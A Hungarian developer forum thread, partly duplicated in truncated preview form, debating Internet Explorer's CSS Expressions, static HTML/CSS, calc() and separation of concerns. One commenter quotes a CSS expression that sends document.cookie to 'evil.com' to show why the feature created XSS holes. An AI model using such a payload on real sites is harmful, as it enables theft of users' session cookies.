A Microsoftnak volt erre tizenöt (15) éve egy kész, flexibilis megoldása, amit úgy hívtak, hogy CSS Expressions. Sajnos ez a fejlesztőknek nem kellett, mert "lassú" és "nem biztonságos", helyette választották a több évtizedes szenvedést a statikus CSS-sel. Természetesen a CSS Expressions sem tökéletes, de kiindulásnak mindenképp jobb, mint a jelenlegi szerencsétlenkedés.
Ez a blogbejegyzés is csak egy újabb bizonyíték arra, hogy a szabványokért felelős W3C-nél és WHATWG-nél olyan emberek dolgoznak, akik életükben nem készítettek még weboldalt vagy webes alkalmazást, és elképzelésük sincs, milyen gyakorlati problémák merülnek fel a fejlesztés során. Természetesen ehhez szükséges a megfelelő befogadó közeg is.
Mindig megmosolygom azokat, akik cinikusan azt mondják a webre, hogy fejlődik.
Mindig csodálattal adózom a képességednek, hogy mennyire magabiztosan tudsz mennyire nagy ostobaságokat írni.
A CSS Expressions gyakorlatilag azt jelentette, hogy javascript kódot lehetett írni CSS kifejezésekbe. Ez egyrészt azt jelentette, hogy bármilyen CSS manipulációs lehetőség instant XSS rés volt, másrészt viszonylag könnyű volt olyan helyzetet előidézni, amiben minden repaint eseménynél javascript kódot futtat a böngésző. Ráadásul egyáltalán semmi előnye nem volt ahhoz képest, mintha a javascript kódot javascript fájlba tetted volna, csak átláthatatlanabb kódot eredményezett, és sokkal nehezebb volt megmondani, hogy pontosan mikor fog futni az adott kód.
Mindig csodálattal adózom a képességednek, hogy mennyire magabiztosan tudsz mennyire nagy ostobaságokat írni.
Köszönöm az elismerő szavaidat. Igazán megtisztelő ezt olyan embertől hallani, aki tökéletesen átlátja az univerzum minden folyamatát, és ezáltal tökéletes döntéseket tud hozni. Javasolnám legközelebb a végét kiegészíteni a következővel: ", és ehhez még a neved is adod."
bármilyen CSS manipulációs lehetőség instant XSS rés
Pont ugyanakkora rés, mint a külsőleg betöltött scriptek. Kikapcsolt JS mellett egyik sem működik.
viszonylag könnyű volt olyan helyzetet előidézni, amiben minden repaint eseménynél javascript kódot futtat a böngésző
A biztonság és a sebesség problémáinak megoldása mérnöki munkaóra kérdése, például le lehet tiltani a CSS-ben hívott függvényeket, így csökkentve a veszélyt. A JS motorok fényéveket fejlődtek az IE5-éhez képest, és egy vetélytársa sem próbálta meg még beépíteni, de biztos vagyok benne, hogy egy modern böngészőben észrevehetetlen lenne. Innentől kezdve a site programozójára lenne bízva, mennyit enged meg magának, egy több megabájtos statikus CSS-sel is ki lehet akasztani egy gyengébb vasat a legújabb Chrome-mal is, hát még egy mobil eszközön.
Ráadásul egyáltalán semmi előnye nem volt ahhoz képest, mintha a javascript kódot javascript fájlba tetted volna
Most a JS fájlban nem csak a működés, hanem a megjelenés kódjai is keverednek. CSS Expression-ök mellett teljesen külön lehetne választani a két dolgot.
sokkal nehezebb volt megmondani, hogy pontosan mikor fog futni az adott kód
Ez kódszervezés és támogatás (firebug) kérdése.
Amiket leírtál, azzal azt állítod, hogy ezek a problémák megoldhatatlanok. Én ebben nem hiszek.
Egy dinamikusan gyorsuló világban statikus, kőkorszaki módszereket használni meglehetősen fantáziátlan gondolkodásra vall. Elég erős a kontraszt a Higgs-bozonok és a Marsra való költözés, és az interneten használt technológiák (html, css) között.
Épp ez a lényeg. A CSS deklaratív nyelv. Letilthatod a JavaScriptet, hogy biztonságban légy, a stíluslap mégis működni fog.
Most a JS fájlban nem csak a működés, hanem a megjelenés kódjai is keverednek. CSS Expression-ök mellett teljesen külön lehetne választani a két dolgot.
Onnantól kezdve, hogy a CSS is csak egy JavaScript fájl, mi értelme volna? A CSS és a JavaScript a közkeletű tévedéssel szemben nem megjelenés és viselkedés, hanem két különböző technológia, két különböző felhasználásra optimalizálva. Semmi ördögtől való nincs benne, ha a JavaScript megjelenést határoz meg, vagy ha a CSS viselkedést, ha adott eszközzel hatékonyabban megoldható (szem előtt tartva természetesen, hogy bármelyik elhagyható legyen, akár egymástól függetlenül). A separation of concerns-t, ha érdemes, akkor egy technológián belül is érdemes megvalósítani.
Az általad leírtak második részével nem értek egyet, egyrészt a scriptelést a működés kényelme növelésének eszközének tartom (átlag weboldal esetén), a css pedig a megjelenés eszköze. A css fájlba kerülhetne script, de csak megjelenítéssel kapcsolatos, így a js fájlban nem lenne erre szükség, de hogy ez mennyire hatékony, arról nincs tapasztalatom.
A példádhoz nincsen szükség JavaScriptre, ezt a CSS-be is be lehetne vezetni. Az egyik rendszeresen visszatérő érv ellene a döntéshozók köreiben (a sebesség mellett), hogy a CSS-nek egyszerűnek kell maradnia, hogy laikusok is írhassák. Ezzel egyébként szerintem egyikünk sem ért egyet, de ettől még ez van.
Az általad leírtak második részével nem értek egyet, egyrészt a scriptelést a működés kényelme növelésének eszközének tartom (átlag weboldal esetén), a css pedig a megjelenés eszköze.
Hol húzódik az objektív határ megjelenés és viselkedés között? A :hover egyértelműen viselkedés, JavaScriptből kellene neki adni egy osztályt, és azzal befolyásolni a megjelenést, mégis jól van így a CSS-ben.
A CSS egy bizonyos használati mintára (elemek kijelölése és tulajdonságaik beállítása) nagyon hatékony eszköz. A tartalom-megjelenés-viselkedés szentháromság csak egy irányelv, a valóságban nem létezik tisztán.
Szerintem a CSS transition az simán megjelenés kategória, a viselkedésen én azt értem, mi történik, amikor rákattintanak valamire, elküldünk egy űrlapot a szervernek stb.
Elvileg megoldhatónak tartom, hogy csak class-okkal vezéreljük a megjelenítést a HTML kódban, de nem tudom, mennyire lenne hatékony.
Mint írtam az elején, a CSS Expressions nem tökéletes, de kiindulási alapnak jó. Azért jó, mert már létezik, és nem kell újra kitalálni. Ha újat szeretnénk bevezetni, akkor azzal megint évtizedek mennek el, amíg a politikusok odafönn megvitatják, amire nekem nincs időm. Így is elment már huszonkét év, és a web nem fejlődött semmit sem.
Azért tartunk ma ott, ahol, mert egyrészt laikusok felelősek a szabványokért, másrészt laikusok készítik a weboldalakat. Kicsit meg kéne mozgatni a dolgokat, hogy a rostán kiessen ez a csoport.
Azért jó, mert már létezik, és nem kell újra kitalálni.
Létezett, egy implementációban, anélkül, hogy megvitatásra került volna, és így a hibái felszínre kerüljenek és ki legyenek javítva. Magyarul nincs semmink.
Az IE kompatibilitási módjai miatt mindegyik verzióban megtalálható ez a featúra, ha jól értem a második kérdést. Az elsőre meg az a válasz, hogy nem egy nagy vaszisztdasz szabványt csinálni belőle, az XMLHttpRequest-ből is sikerült.
Nem értem egyébként a hozzáállást: nem kifogásokat kell keresni meg szerencsétlenkedni a media query-kkel, hanem erre a valós és létező problémára kell megoldást találni. Én ajánlottam egy kiindulási alapot a CSS Expressions formájában, erre ilyenekkel jöttök nekem, hogy "lassú" meg "nem biztonságos" meg "nem lesz tőle jobb" meg "nem szabványos", de alternatívát nem mondtok. Kit érdekelnek ezek? Embert kell rá találni, aki befoltozza a lyukakat, és tovább kell lépni, mert a webnek nem ez az egyedüli problémája. A HTML statikus – ez ugyancsak nonszensz, felfoghatatlan a huszonegyedik században. Mindenki csak csücsül a fenekén és várja a megoldást, meg károg, hogy így nem jó, úgy nem jó. Így sosem lesz belőletek énekes halott.
Tudod, hogy nem akarlak megbántani, de eddig nem mondtad, hogy bármelyik nyílt forrású böngészőbe elkezdted volna belefejleszteni az elképzeléseid.
Szerintem az itt jelen lévők nagy része tökéletesen tisztában van a technológiáink limitációival, és mindenki tudná sorolni az ötleteket, hogy merre kellene haladnia a fejlesztésnek.
Csak tudják, hogy a közös kiabalástól még semmi nem fog történni.
Nem vagyok böngészőfejlesztő, nem is érdekel a dolog, de a közös kiabálás fontos, hogy akik ezzel foglalkoznak, meghallják, és ennek megfelelően változtassanak a dolgokon, és ne csak a maguk kis pecsenyéjét sütögessék.
Az, hogy a jelen lévők tisztában lennének a technológiák limitációival, számomra nem annyira nyilvánvaló, mert rajtam kívül nem sokan szoktak kritizálni, megoldást javasolni.
Nem vagyok böngészőfejlesztő, nem is érdekel a dolog, de a közös kiabálás fontos, hogy akik ezzel foglalkoznak, meghallják, és ennek megfelelően változtassanak a dolgokon, és ne csak a maguk kis pecsenyéjét sütögessék.
Úgy érzed, hogy a politikában valaha is hozott változást az, hogy valakik kiabáltak? Csak a tettek hoznak változásokat. Vagy megcsinálod magad, vagy meggyőzöl valakit róla, hogy csinálja a meg, vagy megfizetsz valakit érte. Azok, akiket meg akarsz győzni, nem járnak itt.
Az, hogy a jelen lévők tisztában lennének a technológiák limitációival, számomra nem annyira nyilvánvaló, mert rajtam kívül nem sokan szoktak kritizálni, megoldást javasolni.
Én is kritizáltam eleget ezeket a technológiákat, itt is, talán még korábban, mint te. De hogy-hogynem, ettől még nem változott semmi. És akkor itt hivatkoznék az őrültség közkeletű definíciójára.
A HTML statikus – ez ugyancsak nonszensz, felfoghatatlan a huszonegyedik században.
Egy leiro nyelv hogy valik dinamikussa? Ha logikai es proceduralis elemeket visznek bele akkor mar nem leiro nyelvnek kellene nevezni...nem is ertem az okat ennek hogy miert kene dinamikussa valnia.
Használtad-e valaha a következők közül bármelyiket? ().innerHTML ().appendChild() document.write()
A szerveren statikus html-ekkel dolgozol, vagy pedig valamilyen scriptnyelvvel állítod össze a választ? Miért nevezzük a html-t leírónyelvnek? Miért ne lehetne dinamikus?
Végképp nem értem az eredeti hozzászólásodat, de mindegy. :)
(nekem az jött le, hogy ezekkel a példákkal támasztod alá, hogy a HTML igenis lehet dinamikus)
Hasznalom nap mint nap ezeket a fuggvenyeket es dinamikusan allitom elo a HTML es semmi bajom nincs ezzel es rajtam kivul szerintem a fejlesztok tulnyomo reszenek sincsen.
Pont az a jo benne, hogy a megjelenes leirasa kulon van valasztva a logikai proceduralis dolgoktol (separation of concerns) es kulonbozo jelolokkel dinamikus viselkedest lehet rajuk akasztani.
Miért nevezzük a html-t leírónyelvnek?
Mert az.
Miert nem lehet BMP formatumu keppel alkalmazast kesziteni? Mert arra talaltak ki, hogy kepet lehessen vele tarolni. Ne akarjunk a kiskalapacsunkbol halalcsillagot.
Kiemelés tőlem. A HTML-t dinamikusan állítod elő, de maga a HTML statikus, amikor a kliens megkapja. Így például elveszted a gyorstárazás lehetőségét, mert a HTML különböző részei (menü, tartalom) más-más alkalommal frissülnek, mindig le kell tölteni egy nagy halom szemetet, hiába pár száz bájt csak az, ami változott.
Lehetne dinamikus a HTML, és ettől még nyugodtan különválaszthatod a megjelenést a logikai procedurális dolgoktól.
Így például elveszted a gyorstárazás lehetőségét, mert a HTML különböző részei (menü, tartalom) más-más alkalommal frissülnek, mindig le kell tölteni egy nagy halom szemetet, hiába pár száz bájt csak az, ami változott.
Mivel Akamai (es valoszinu mas nagyobb CDN szolgaltatok is mar) es Symfony 2, Varnish, Nginx is tamogatja valoszinu hogy eleg sok helyen ahol ez jelentos nyereseggel jar.
Figyelmetlen voltam, azt hittem, hogy ez kliensoldali találmány. Szerveroldalon már régóta van include és gyorstárazási technológiák, de ettől függetlenül a kliensnek a teljes katyvaszt kell kiküldened így is.
A mai világban a readme.md-n kívül semmi sem statikus dokumentum, és itt bukik meg az egész HTML elmélet, amit statikus dokumentumok megjelenítésére találtak ki.
Nem lehet dinamikus, viszont nagyon is lehet dinamikusan előállított - mint ahogy nap mint nap te is teszed, pl. ezekkel a js fügvényekkel, ami ugye megint csak nem része a HTML-nek. Pusztán átírja azt (vagyis a DOM-ot).
Szerintem lehetne dinamikus, nem látom semmi akadályát. A Föld kerek. És miért csak szerveroldalon lehet dinamikusan előállítani, kliensoldalon pedig csak scripttel?
- Hogyan?
- Te hogy képzeled el a dinamikusságát?
- "Aktív" HTML tagekkel? (ActiveX pl.)
Szerintem egyáltalán nem baj, hogy valamilyen - többnyire script - egyéb programnyelvet használsz ahhoz, hogy változtass a leíró nyelv által adott kiinduló adatokon. Így nincs keveredés, megvan, hogy ki kivel van.
És tényleg ne keverjük a HTML-t a DOM-mal, js-el többnyire a már kész DOM-ba nyúlsz (memóriában), nem a HTML-t változtatod (kivéve talán ajax-load, ha újra cache-el a böngésző, amit te nemigen használsz tudtommal).
Pont ugyanakkora rés, mint a külsőleg betöltött scriptek. Kikapcsolt JS mellett egyik sem működik.
Még ha igaz is lenne, két ugyanakkora rés rosszabb, mint egy rés. De nem igaz - a felhasználó által módosítható CSS sokkal általánosabb igény, mint a felhasználó által módosítható javascript, pl. B2B szolgáltatásoknál a branding, céges színek/fontok/stb megjelenítésére, és a CSS expressions ezt veszélyessé teszi. Abba bele se megyek, hogy mennyi értelme van annak, ha kikapcsolt JS mellett nem műküdik az oldal CSS-e...
például le lehet tiltani a CSS-ben hívott függvényeket, így csökkentve a veszélyt
Érdemben nem csökkentené. background-url: expression('http://evil.com/?'+document.cookie) stb.
A JS motorok fényéveket fejlődtek az IE5-éhez képest
Nem annyira JS motor kérdése a dolog, hanem a CSS kaszkád jellege veszne ezzel el: amíg egy elem csak a szülőjétől örököl tulajdonságokat, addig viszonylag jól kezelhető, hogy egy adott DOM node megváltozásakor milyen más node-ok milyen tulajdonságait kell újraszámolni, egy CSS expression alapú kifejezésről viszont lehetetlen megmondani, hogy mitől függ, ezért állandóan újra kell számolni az adott elemet és potenciálisan az egész alatta levő DOM fát, rosszabb esetben (mondjuk ha egy nem abszolút pozicionált elem szélességét módosítod) az egész dokumentumnak az összes utána jövő elemét.
Most a JS fájlban nem csak a működés, hanem a megjelenés kódjai is keverednek. CSS Expression-ök mellett teljesen külön lehetne választani a két dolgot.
CSS expressionök mellett nem csak a JS, hanem a CSS fájlokban is keverednének, ez valóban hatalmas előrelépés.
Egy dinamikusan gyorsuló világban statikus, kőkorszaki módszereket használni meglehetősen fantáziátlan gondolkodásra vall
Ez a mondat bullshit bingó megnyerésére ugyan kiválóan alkalmas (még azt hozzá lehetne tenni esetleg, hogy a technológiai szinergiák korában a CSS nem lehet walled garden), de nem sok jelentése van.
A CSS egyébként nem statikus, DOM elemek megjelenésének egymástól való függését írja le, ez egy teljesen dinamikus dolog (pl. ha megnöveled egy elem méretét, akkor a dokumentum át fog rendeződni, más elemek egymáshoz való pozíciója teljesen megváltozhat). A függések leírására használt eszközkészlet jelenleg elég korlátozott, például meg tudod mondani, hogy valami legyen feleakkora, mint egy másik valami, de azt nem, hogy legyen két pixellel nagyobb. Ennek az épelméjű megoldása nyilván nem az, hogy belehányunk a CSS közepébe egy egészen eltérő célra szánt másik nyelvet, ezáltal teljesen elemezhetetlenné téve, hanem az hogy kiterjesztjük a CSS-t, hogy képes legyen egyszerű matematikai összefüggéseket értelmezni (calc()).
Még ha igaz is lenne, két ugyanakkora rés rosszabb, mint egy rés.
Bekapcsolt JS mellett ugyanúgy egy darab rés lenne. Az eddig általad leírtak alapján nem látom, miért lenne kétszer akkora rés, amikor mind a JS, mind a CSS ugyanazt a JS motort használja. Példa: jelenleg az oldal átméretezésének a kódja ha JS-ben van (melyik elem hova kerüljön), mitől lenne kevésbé biztonságos, ha ez a kódrészlet átkerülne a CSS-be?
Abba bele se megyek, hogy mennyi értelme van annak, ha kikapcsolt JS mellett nem műküdik az oldal CSS-e
background-url: expression('http://evil.com/?'+document.cookie) stb.
Ezt most JS-ben is megteheted, tehát ez nem igazán érv. Ugyanott vagyunk, ahol a part szakad.
egy CSS expression alapú kifejezésről viszont lehetetlen megmondani, hogy mitől függ, ezért állandóan újra kell számolni az adott elemet és potenciálisan az egész alatta levő DOM fát, rosszabb esetben (mondjuk ha egy nem abszolút pozicionált elem szélességét módosítod) az egész dokumentumnak az összes utána jövő elemét
Ha ez gondot jelent, majd a fejlesztő módosít a kódon. Egy bonyolultabb JS számítással is ki lehet akasztani a böngészőt, a fenti gondolatmeneted folytatva akkor dobjuk ki a scriptelést? Nem vagyok meggyőződve arról, hogy ez rossz ötlet.
CSS expressionök mellett nem csak a JS, hanem a CSS fájlokban is keverednének, ez valóban hatalmas előrelépés.
Most pedig a CSS kifejezések egy része van JS fájlokban. Továbbra is ugyanott vagyunk, ahol a part szakad.
Ez a mondat bullshit bingó megnyerésére ugyan kiválóan alkalmas (még azt hozzá lehetne tenni esetleg, hogy a technológiai szinergiák korában a CSS nem lehet walled garden), de nem sok jelentése van.
Pedig pontosan tudod, mit jelent a "statikus" szó jelentése.
A CSS egyébként nem statikus, DOM elemek megjelenésének egymástól való függését írja le, ez egy teljesen dinamikus dolog (pl. ha megnöveled egy elem méretét
Két módon növelheted meg egy elem méretét: átméretezed az ablakot, vagy pedig scriptből. Magában a CSS-ben nem mondhatod meg (azaz csak rendkívül korlátozottan, a calc() segítségével, azokban a böngészőkben, amelyek ezt támogatják), hogy egy elem tulajdonságai miként módosuljanak, ha megváltozik a környezet, továbbá nem tudsz változókat definiálni, hanem pl. olyan "keretrendszerek" használatára kényszerülsz, mint a LESS és társai. Ez kimeríti a statikus fogalmát.
Ennek az épelméjű megoldása nyilván nem az, hogy belehányunk a CSS közepébe egy egészen eltérő célra szánt másik nyelvet
Miért, a JS-t mire szánták? Nem lehet vele stílusokat definiálni, módosítani, kinézetet megváltoztatni?
Egyébként csak nyugodtan folytasd a személyeskedést (ha már elfogytak az érvek), nem zavar, mert nem engem minősít.
CSS Expressions
Ez a blogbejegyzés is csak egy újabb bizonyíték arra, hogy a szabványokért felelős W3C-nél és WHATWG-nél olyan emberek dolgoznak, akik életükben nem készítettek még weboldalt vagy webes alkalmazást, és elképzelésük sincs, milyen gyakorlati problémák merülnek fel a fejlesztés során. Természetesen ehhez szükséges a megfelelő befogadó közeg is.
Mindig megmosolygom azokat, akik cinikusan azt mondják a webre, hogy fejlődik.
Mindig csodálattal adózom a
A CSS Expressions gyakorlatilag azt jelentette, hogy javascript kódot lehetett írni CSS kifejezésekbe. Ez egyrészt azt jelentette, hogy bármilyen CSS manipulációs lehetőség instant XSS rés volt, másrészt viszonylag könnyű volt olyan helyzetet előidézni, amiben minden repaint eseménynél javascript kódot futtat a böngésző. Ráadásul egyáltalán semmi előnye nem volt ahhoz képest, mintha a javascript kódot javascript fájlba tetted volna, csak átláthatatlanabb kódot eredményezett, és sokkal nehezebb volt megmondani, hogy pontosan mikor fog futni az adott kód.
Mindig csodálattal adózom a
Amiket leírtál, azzal azt állítod, hogy ezek a problémák megoldhatatlanok. Én ebben nem hiszek.
Egy dinamikusan gyorsuló világban statikus, kőkorszaki módszereket használni meglehetősen fantáziátlan gondolkodásra vall. Elég erős a kontraszt a Higgs-bozonok és a Marsra való költözés, és az interneten használt technológiák (html, css) között.
Kikapcsolt JS mellett egyik
Épp ez a lényeg. A CSS deklaratív nyelv. Letilthatod a JavaScriptet, hogy biztonságban légy, a stíluslap mégis működni fog.
Onnantól kezdve, hogy a CSS is csak egy JavaScript fájl, mi értelme volna? A CSS és a JavaScript a közkeletű tévedéssel szemben nem megjelenés és viselkedés, hanem két különböző technológia, két különböző felhasználásra optimalizálva. Semmi ördögtől való nincs benne, ha a JavaScript megjelenést határoz meg, vagy ha a CSS viselkedést, ha adott eszközzel hatékonyabban megoldható (szem előtt tartva természetesen, hogy bármelyik elhagyható legyen, akár egymástól függetlenül). A separation of concerns-t, ha érdemes, akkor egy technológián belül is érdemes megvalósítani.
Letilthatod a JavaScriptet,
div {
width: 1000px;
width: expression((document.body.offsetWidth - 100 ) + 'px');
border: 1px solid red;
}
</style>
<div>asd</div>
Az általad leírtak második részével nem értek egyet, egyrészt a scriptelést a működés kényelme növelésének eszközének tartom (átlag weboldal esetén), a css pedig a megjelenés eszköze. A css fájlba kerülhetne script, de csak megjelenítéssel kapcsolatos, így a js fájlban nem lenne erre szükség, de hogy ez mennyire hatékony, arról nincs tapasztalatom.
Hol húzódik az objektív határ
A példádhoz nincsen szükség JavaScriptre, ezt a CSS-be is be lehetne vezetni. Az egyik rendszeresen visszatérő érv ellene a döntéshozók köreiben (a sebesség mellett), hogy a CSS-nek egyszerűnek kell maradnia, hogy laikusok is írhassák. Ezzel egyébként szerintem egyikünk sem ért egyet, de ettől még ez van.
Hol húzódik az objektív határ megjelenés és viselkedés között? A
:hover
egyértelműen viselkedés, JavaScriptből kellene neki adni egy osztályt, és azzal befolyásolni a megjelenést, mégis jól van így a CSS-ben.A CSS egy bizonyos használati mintára (elemek kijelölése és tulajdonságaik beállítása) nagyon hatékony eszköz. A tartalom-megjelenés-viselkedés szentháromság csak egy irányelv, a valóságban nem létezik tisztán.
transition / animation
Ha úgy tekintesz rá, minden,
Szerintem a CSS transition az
Elvileg megoldhatónak tartom, hogy csak class-okkal vezéreljük a megjelenítést a HTML kódban, de nem tudom, mennyire lenne hatékony.
Mint írtam az elején, a CSS
Azért tartunk ma ott, ahol, mert egyrészt laikusok felelősek a szabványokért, másrészt laikusok készítik a weboldalakat. Kicsit meg kéne mozgatni a dolgokat, hogy a rostán kiessen ez a csoport.
Azért jó, mert már létezik,
Létezett, egy implementációban, anélkül, hogy megvitatásra került volna, és így a hibái felszínre kerüljenek és ki legyenek javítva. Magyarul nincs semmink.
Minden megvan az
Nyílt forrású volna a
Az IE kompatibilitási módjai
Nem értem egyébként a hozzáállást: nem kifogásokat kell keresni meg szerencsétlenkedni a media query-kkel, hanem erre a valós és létező problémára kell megoldást találni. Én ajánlottam egy kiindulási alapot a CSS Expressions formájában, erre ilyenekkel jöttök nekem, hogy "lassú" meg "nem biztonságos" meg "nem lesz tőle jobb" meg "nem szabványos", de alternatívát nem mondtok. Kit érdekelnek ezek? Embert kell rá találni, aki befoltozza a lyukakat, és tovább kell lépni, mert a webnek nem ez az egyedüli problémája. A HTML statikus – ez ugyancsak nonszensz, felfoghatatlan a huszonegyedik században. Mindenki csak csücsül a fenekén és várja a megoldást, meg károg, hogy így nem jó, úgy nem jó. Így sosem lesz belőletek énekes halott.
meg károg, hogy így nem jó,
Tudod, hogy nem akarlak megbántani, de eddig nem mondtad, hogy bármelyik nyílt forrású böngészőbe elkezdted volna belefejleszteni az elképzeléseid.
Szerintem az itt jelen lévők nagy része tökéletesen tisztában van a technológiáink limitációival, és mindenki tudná sorolni az ötleteket, hogy merre kellene haladnia a fejlesztésnek.
Csak tudják, hogy a közös kiabalástól még semmi nem fog történni.
Nem vagyok böngészőfejlesztő,
Az, hogy a jelen lévők tisztában lennének a technológiák limitációival, számomra nem annyira nyilvánvaló, mert rajtam kívül nem sokan szoktak kritizálni, megoldást javasolni.
Nem vagyok böngészőfejlesztő,
Úgy érzed, hogy a politikában valaha is hozott változást az, hogy valakik kiabáltak? Csak a tettek hoznak változásokat. Vagy megcsinálod magad, vagy meggyőzöl valakit róla, hogy csinálja a meg, vagy megfizetsz valakit érte. Azok, akiket meg akarsz győzni, nem járnak itt.
Én is kritizáltam eleget ezeket a technológiákat, itt is, talán még korábban, mint te. De hogy-hogynem, ettől még nem változott semmi. És akkor itt hivatkoznék az őrültség közkeletű definíciójára.
leiro nyelv
Egy leiro nyelv hogy valik dinamikussa? Ha logikai es proceduralis elemeket visznek bele akkor mar nem leiro nyelvnek kellene nevezni...nem is ertem az okat ennek hogy miert kene dinamikussa valnia.
Statikus
().innerHTML
().appendChild()
document.write()
A szerveren statikus html-ekkel dolgozol, vagy pedig valamilyen scriptnyelvvel állítod össze a választ? Miért nevezzük a html-t leírónyelvnek? Miért ne lehetne dinamikus?
Ezek közül melyik HTML elem?
Erről van szó: egyik sem.
Végképp nem értem az eredeti
(nekem az jött le, hogy ezekkel a példákkal támasztod alá, hogy a HTML igenis lehet dinamikus)
ket kulon dolog
Pont az a jo benne, hogy a megjelenes leirasa kulon van valasztva a logikai proceduralis dolgoktol (separation of concerns) es kulonbozo jelolokkel dinamikus viselkedest lehet rajuk akasztani.
Miert nem lehet BMP formatumu keppel alkalmazast kesziteni? Mert arra talaltak ki, hogy kepet lehessen vele tarolni. Ne akarjunk a kiskalapacsunkbol halalcsillagot.
dinamikusan allitom elo a
Lehetne dinamikus a HTML, és ettől még nyugodtan különválaszthatod a megjelenést a logikai procedurális dolgoktól.
Edge Side Includes
Erre talaltak ki az ESIt
Hány helyen használják?
sok helyen valoszinu
Ketelkedsz benne hogy ez egy mukodo technologia?
Nem
A mai világban a readme.md-n kívül semmi sem statikus dokumentum, és itt bukik meg az egész HTML elmélet, amit statikus dokumentumok megjelenítésére találtak ki.
Mert az
Szerintem lehetne dinamikus,
Jó, tegyük fel, hogy lehetne
- Te hogy képzeled el a dinamikusságát?
- "Aktív" HTML tagekkel? (ActiveX pl.)
Szerintem egyáltalán nem baj, hogy valamilyen - többnyire script - egyéb programnyelvet használsz ahhoz, hogy változtass a leíró nyelv által adott kiinduló adatokon. Így nincs keveredés, megvan, hogy ki kivel van.
És tényleg ne keverjük a HTML-t a DOM-mal, js-el többnyire a már kész DOM-ba nyúlsz (memóriában), nem a HTML-t változtatod (kivéve talán ajax-load, ha újra cache-el a böngésző, amit te nemigen használsz tudtommal).
Leírtad, amit hozzá akartam
Pont ugyanakkora rés, mint a
Még ha igaz is lenne, két ugyanakkora rés rosszabb, mint egy rés. De nem igaz - a felhasználó által módosítható CSS sokkal általánosabb igény, mint a felhasználó által módosítható javascript, pl. B2B szolgáltatásoknál a branding, céges színek/fontok/stb megjelenítésére, és a CSS expressions ezt veszélyessé teszi. Abba bele se megyek, hogy mennyi értelme van annak, ha kikapcsolt JS mellett nem műküdik az oldal CSS-e...
Érdemben nem csökkentené.
background-url: expression('http://evil.com/?'+document.cookie)
stb.Nem annyira JS motor kérdése a dolog, hanem a CSS kaszkád jellege veszne ezzel el: amíg egy elem csak a szülőjétől örököl tulajdonságokat, addig viszonylag jól kezelhető, hogy egy adott DOM node megváltozásakor milyen más node-ok milyen tulajdonságait kell újraszámolni, egy CSS expression alapú kifejezésről viszont lehetetlen megmondani, hogy mitől függ, ezért állandóan újra kell számolni az adott elemet és potenciálisan az egész alatta levő DOM fát, rosszabb esetben (mondjuk ha egy nem abszolút pozicionált elem szélességét módosítod) az egész dokumentumnak az összes utána jövő elemét.
CSS expressionök mellett nem csak a JS, hanem a CSS fájlokban is keverednének, ez valóban hatalmas előrelépés.
Ez a mondat bullshit bingó megnyerésére ugyan kiválóan alkalmas (még azt hozzá lehetne tenni esetleg, hogy a technológiai szinergiák korában a CSS nem lehet walled garden), de nem sok jelentése van.
A CSS egyébként nem statikus, DOM elemek megjelenésének egymástól való függését írja le, ez egy teljesen dinamikus dolog (pl. ha megnöveled egy elem méretét, akkor a dokumentum át fog rendeződni, más elemek egymáshoz való pozíciója teljesen megváltozhat). A függések leírására használt eszközkészlet jelenleg elég korlátozott, például meg tudod mondani, hogy valami legyen feleakkora, mint egy másik valami, de azt nem, hogy legyen két pixellel nagyobb. Ennek az épelméjű megoldása nyilván nem az, hogy belehányunk a CSS közepébe egy egészen eltérő célra szánt másik nyelvet, ezáltal teljesen elemezhetetlenné téve, hanem az hogy kiterjesztjük a CSS-t, hogy képes legyen egyszerű matematikai összefüggéseket értelmezni (
calc()
).+1
+1
Made my day :)
Még ha igaz is lenne, két
calc()
segítségével, azokban a böngészőkben, amelyek ezt támogatják), hogy egy elem tulajdonságai miként módosuljanak, ha megváltozik a környezet, továbbá nem tudsz változókat definiálni, hanem pl. olyan "keretrendszerek" használatára kényszerülsz, mint a LESS és társai. Ez kimeríti a statikus fogalmát.Egyébként csak nyugodtan folytasd a személyeskedést (ha már elfogytak az érvek), nem zavar, mert nem engem minősít.
Kíváncsi leszek